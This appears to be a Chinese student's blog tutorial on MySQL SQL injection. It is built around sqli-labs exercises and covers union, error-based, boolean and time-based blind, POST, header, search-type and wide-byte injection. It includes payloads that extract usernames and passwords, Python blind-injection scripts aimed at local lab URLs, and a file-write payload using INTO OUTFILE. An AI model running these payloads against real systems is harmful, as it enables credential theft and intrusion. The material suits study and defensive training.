Mysql注入详解

前言

最近一直在学sql注入的专题,准备写个文章来记录这段时间学的过程。

一.有可显字段——使用常规注入法

用到的注入语句:

1
2
3
4
5
6
7
8
and 1=1 --+
and 1=2 --+
order by 3 --+
union select 1,2,3 --+
union select 1,database(),version() --+
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
union select 1,username,password from users limit 0,1--+ or (union select 1,2,group_concat(concat_ws(':',username,password)) from users --+)

常规的sql注入,通常有可显字段,通过在可显字段进行注入,从而达到注入的方法。
以sqli-labs第一关为例
用运用常规的sql注入

加入单引号,发现报错,这里我们可以用报错注入的方式。

通过对语句的闭合,发现单引号是sql语句的闭合符号。

and 1=1 返回正常
and 1=2 返回异常

用order by语句进行数据库的猜解

order by 数字 是按照第几列升序排序
order by 数字 DESC 是按照第几列降序排序


我们用这条语句操作数据库,发现order by 4时报错,因为该数据库没有第四列,所以我们可以用order by语句进行对数据库列的猜解。
猜解到该数据库有三列。

猜解可显字段

先将id=1换成id=-1 或者运用其他方式让其报错,在运用union select联合查询语句
发现2,3字段是可显字段。

查看当前数据库名和用户名

运用database(),user()两个函数
常用的还要version() 来查看数据库版本

猜解表名

group_concat(xxx)这个函数通俗理解就是把xxx字段的数据聚合在一起返回。
例如:group_concat(table_name)意思是将table_name字段中的数据全部返回。
information_schema这个数据库保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
information_schema是在mysql5.0版本开始使用,像5.0之前的版本要是注入的话,只能像注入access数据库一样,进行猜解。
information.schema.tables记录了整个mysql所有的表名
table_schema指定数据库名

猜解字段名

爆破字段名和爆破表名一样,只需要更改几个参数即可。
爆出来字段名:username,password俩个字段

猜解字段内容

运用2,3可显字段 一块查询username,password字段内容
这里用到limit限定语句
limit 0,1 意思是查询字段中的第一个内容
limit 1,1 查询字段中第二个内容
limit 数字,数字 第一个数字指定查询的内容(从0开始),第二个数字指定返回的数量。
不用limit语句也可以,还有一种注入语句

1
union select 1,2,group_concat(concat_ws(':',username,password)) from users


用group_concat()聚合输出
使用函数CONCAT_WS()。使用语法为:CONCAT_WS(separator,str1,str2,…)CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)
所以用上面的语句直接爆出users字段的所以内容。

二.无可显字段,有错误提示——报错注入

启动了错误提示,并且出现在了浏览器中,即可运用报错注入

1.Floor语句报错注入

用到注入语句:

1
2
3
4
1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a)b)
1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a)b)
1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a)b)
1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a)b)

floor语句报错主要用到:floor(),concat(),count(),rand(),group by
(1).floor()函数:floor(x) 向下取整,取小于等于x的最大整数。
(2).concat(x,x1,x2):将x,x1,x2整合到一个字符串。
(3).count() 返回指定表的行数
(4).rand() 随机返回数字
(5).group by+列名 按照某列分组
先做个实验,使用创建好的一个user表

count(*)

用count(*),group by 联合使用,构建一个虚拟表

floor(rand(0)*2)
返回是伪随机,规律是:011011;

不给rand()参数时,返回不确定

使用:

1
select count(*),concat(floor(rand(0)*2),(select version()))a from user group by x;

报出错误:

运用上面的规律:以sqli-labs第一关为例
第一关,虽然有可显字段,但是同样开启了错误显示,所以也可以用报错注入
报错注入是不用猜解表中的字段有多少列的,所以我们直接用一开始给出的语句进行报错

爆当前的数据库名

爆表名

爆字段名

爆字段内容

floor语句报错下面的几条博客不错

1
2
3
4
5
6
7
https://blog.csdn.net/he_and/article/details/80455884

https://mp.weixin.qq.com/s?__biz=MzA5NDY0OTQ0Mw==&mid=403404979&idx=1&sn=27d10b6da357d72304086311cefd573e&scene=1&srcid=04131X3lQlrDMYOCntCqWf6n#wechat_redirect

https://www.cnblogs.com/litlife/p/8472323.html

https://blog.csdn.net/Fly_hps/article/details/79416620

2.extractvalue()函数报错注入

用到的注入语句:

1
2
3
4
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+
1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) --+

extractvalue()用于对查询xml文档的函数
有两个参数,其中第二个参数是可操作的地方 第二个参数必须是 /xxx/xxx/xxx/…这种格式,要不就报错,所以基于这个特性,可以进行报错注入
以sqli-labs第五关为例:

开启了错误提示 可以使用报错注入
然后用上面的注入语句进行注入:



updatexml()函数报错注入

用到的注入语句:

1
2
3
4
1' and updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e) --+
1' and updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0x7e) --+
1' and updatexml(0x7e,concat(0x7e,(select column_name from information_schema.cloumns where table_name='users' limit 0,1),0x7e),0x7e) --+
1' and updatexml(0x7e,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),0x7e) --+

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
updatexml()有三个参数,其中第二个参数可操作 ,是xml的路径 必须是/xx/xx这种格式的 ,所以和上一个类似,构造注入语句
以sqli-labs第五关为例:
用上面的注入语句
爆出数据版本

爆出表名

爆出字段名

爆出字段内容

extractvalue()和updatexml()报错注入参考文章:

https://blog.csdn.net/zpy1998zpy/article/details/80631036

报错注入的语句还有很多,但是主要还是上面三种,其他的语句和上面三种类似
其他报错注入文章:
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

三.无可显字段无错误提示,但出现数据提交正确和错误俩种不同页面

这类注入利用属于盲注中的布尔盲注,在无可显字段无错误提示,但数据提交正确和错误两种不同页面时使用。有时在不能使用union select语句时,也会使用这类盲注。
用的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

- Length()//返回字符串的长度
Length(abc)返回3,表示abc字符串长度为3

- Substr()//截取字符串
Stbstr(abc,1,1) 返回a,从abc的第一位开始截,步长为1。

- mid() //取出字符串的一部分值
mid(abc,1,1) 返回a,从abc的第一位开取,步长为1.与substr()用法一致

- left() //取出字符串左边的几个数据
left(abc,1) 返回a
left(abc,2) 返回ab

- right() //取出右边的几个数据
right(abc,1) 返回c
right(abc,2) 返回bc

- ord()与 ascii()//返回一个字符的ascii码值
ascii(s) 返回114

- hex() //返回16进制数

用到的注入语句:
1
2
3
4
length(database())>7
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100
ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>117
ascii(substr((select username from users limit 0,1),1,1))>6

不需要union select 即可完成注入工作

以sqli-labs第八章为例

python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
def database_len():
for i in range(9999):
url='''http://127.0.0.1/sqli/Less-8/'''
payload='''?id=1' and length(database())>%s''' %i
#print(url+payload+' --+ ')
r=requests.get(url+payload+' --+ ')
if 'You are in' in r.text:
print(i)
else:
print('database_length:',i)
break
database_len()
def database_name():
databasename=''
for i in range(1,9):
for j in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
url='''http://127.0.0.1/sqli/Less-8/'''
payload='''?id=1' and substr(database(),%d,1) = '%s' ''' %(i,j)
#print(url+payload+' --+ ')
r=requests.get(url+payload+' --+ ')
if 'You are in' in r.text:
databasename += j
print(databasename)
break
print("database_name:",databasename.lower())
database_name()
def table_length():
for j in range(9999):
url='''http://127.0.0.1/sqli/Less-8/'''
payload='''?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>%s''' %j
r=requests.get(url+payload+' --+ ')
if 'You are in' in r.text:
print(j)
else:
print('firs table length:',j)
break
table_length()

我只写了猜测当前数据库的长度,数据库名,第一张表的长度。剩下的都一样这里不在给出!
1
2
3
布尔盲注参考:
https://blog.csdn.net/qq_41554179/article/details/88414079
https://blog.csdn.net/Wu000999/article/details/100041049

四.无可显字段无错误提示,正确错误没有明显区别

这类的sql注入类型,可以利用的方式是时间盲注。
时间盲注又叫延迟注入,通过时间长短来判断是否执行成功。
用到函数和布尔盲注差不多。
if(条件,1,2) 如果条件满足,则执行1,不满足就执行2
sleep(2) 延迟2秒钟
用到的语句就多了上面两条
注入语句:

1
2
3
4

if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>11),sleep(2),1) --+
if((ascii(substr((select column_name from information_schema.tables where table_name=‘users’ limit 0,1),1,1))>11),sleep(2),1) --+
if((ascii(substr((select username from users limit 0,1),1,1))>11),sleep(2),1) --+

根据上面的语句构造python脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import datetime
import time
def database_len():
for i in range(1,10):
url='''http://127.0.0.1/sqli/Less-9/'''
payload='''?id=1' and if(length(database())=%d,sleep(2),1)''' %i
#print(url+payload+' --+ ')
time1=datetime.datetime.now()
r=requests.get(url+payload+' --+ ')
time2=datetime.datetime.now()
l=(time2-time1).seconds
if l>=2:
print('database_len:',i)
break
#else:
# print(i)
# break
database_len()
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = '''http://127.0.0.1/sqli/Less-9/'''
payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(2),1)''' % (j,i)
time1 = datetime.datetime.now()
r = requests.get(url + payload + ' --+ ')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
name += i
print(name)
break
print('database_name:', name)
database_name()

这个脚本中猜解了数据库的长度和名称,其他的猜解和这个基本一致。

五.post注入

post注入其实就是注入位置的不同,其他的注入利用方式和前面的基本一致。
主要是用到Burp Suite 进行抓包
我们以sqli-labs第11关为例:
用的注入语句:

1
2
3
4
5
6
7
' and 1=1 %23
' order by 2 %23
' union select 1,2 %23
' union select database(),user() %23
' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() %23
' union select group_concat(column_name),2 from information_schema.columns where table_name='users' %23
' union select username,password from users limit 0,1%23

用burp抓包 发送到repeated模块

加个单引号爆出错误

判断字段数

判断可显字段

爆出数据库的表名

爆字段名

爆字段的内容

这里指举了一个很简单的例子,还有很多注入 其实post注入和get注入利用方式是一样的
只不过是注入位置的不同。

六.insert,delete,update注入

这些注入基本利用方式和上面的一样,只是注入位置的差别。
insert语句用于向数据库插入数据->一般用在用户注册中,
delete语句用于删除数据库的数据->比如删除留言板的数据
update语句用于更新数据库的数据->比如修改用户信息

1
2
3
4
5
6

insert into users(id,username,passowrd) values (2,''1'','Da4er);

UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值

DELETE FROM 表名称 WHERE 列名称 = 值

这类的注入不在给出例子 ,向这三个类型的注入更多的是配合报错提示进行注入
参考文章:
1
https://www.cnblogs.com/babers/articles/7252401.html

这个可以做一下sqli-labs第十七关的update注入

七.http头注入

http头注入本质还是注入位置的不同
在有些应用中http头的信息会回显到浏览器,这个时候可以尝试一下http头注入,注入利用的方式和get类型的一样
我们来以sqli-labs第18关注入user-agent头为例:
配合报错注入来进行注入:



八.数字型,字符型,搜索型注入

像这三类注入,是包含上面所有的注入利用方式的,这三类注入个大方面,意思是用户输入到服务器的参数是数字,字符串,还是搜索数据的。
所以这三类是整个sql注入大的方面,这里不在叙述。只对搜索型注入进行分析
搜索型注入主要用在搜索数据时,对搜索的参数过滤不全。
搜索型注入的构造和其他两类不太一样,一般的要加%,这是sql里的匹配查找
我们来看一下一个靶场搜索型注入的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(isset($_GET['submit']) && $_GET['name']!=null){

//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];

//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
while($data=mysqli_fetch_assoc($result)){
$uname=$data['username'];
$id=$data['id'];
$email=$data['email'];
$html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
}
}else{

$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
}
}

我们可以看到输入的name 被’%name%’包围,这就是搜索型注入的构造方式

构造的payload:
1
ko%' and updatexml(0x7e,concat(0x7e,version(),0x7e),0x7e) or '%

这里只爆出数据库版本,其他的就不在这里操作了,思路都是一样,利用报错注入。

九.宽字节注入

宽字节注入是一种特殊的注入方式,其利用的思路和前面写的一样,只不过宽字节注入能绕过将单引号等特殊字符转义。
原因是:网站用了utf-8编码,而数据库使用了GBK编码
宽字节(两字节)带来的安全问题主要是吃ASCII字符(一字节)的现象,使用一些特殊字符来”吃掉“经过转义符 “ \ ” 。
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节
mysql中用的转义函数:addslashes、mysql_real_escape_string、mysql_escape_string以及后面在高版本被去除的magic_quote_gpc
以sqli第三十三关为例:



发现可以运用宽字节注入,绕过防御措施。
宽字节注入现在很少见了。
这里只给出了爆当前数据库名的语句,其他的注入语句和上面写的报错注入一样。宽字节注入说白了就是绕过sql防御的一种收到,因为比较经典才会单拿出来提一下。

十.Mysql注入的高级利用

这部分主要是如果我们的权限足够大,可以向网站写文件或读文件
主要用到俩个语句:into outfile 和 load_file()

1
1')) UNION SELECT 1,'<?php echo "Da4er"?>',3 into outfile 'D:\1.txt' --+

into outfile是向本地写文件的操作
load_file()是读本地文件的操作

最后

明天还会在写一篇sqlmap的使用教程,然后这个学期学安全的时间到此结束了,安心准备期末了~

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×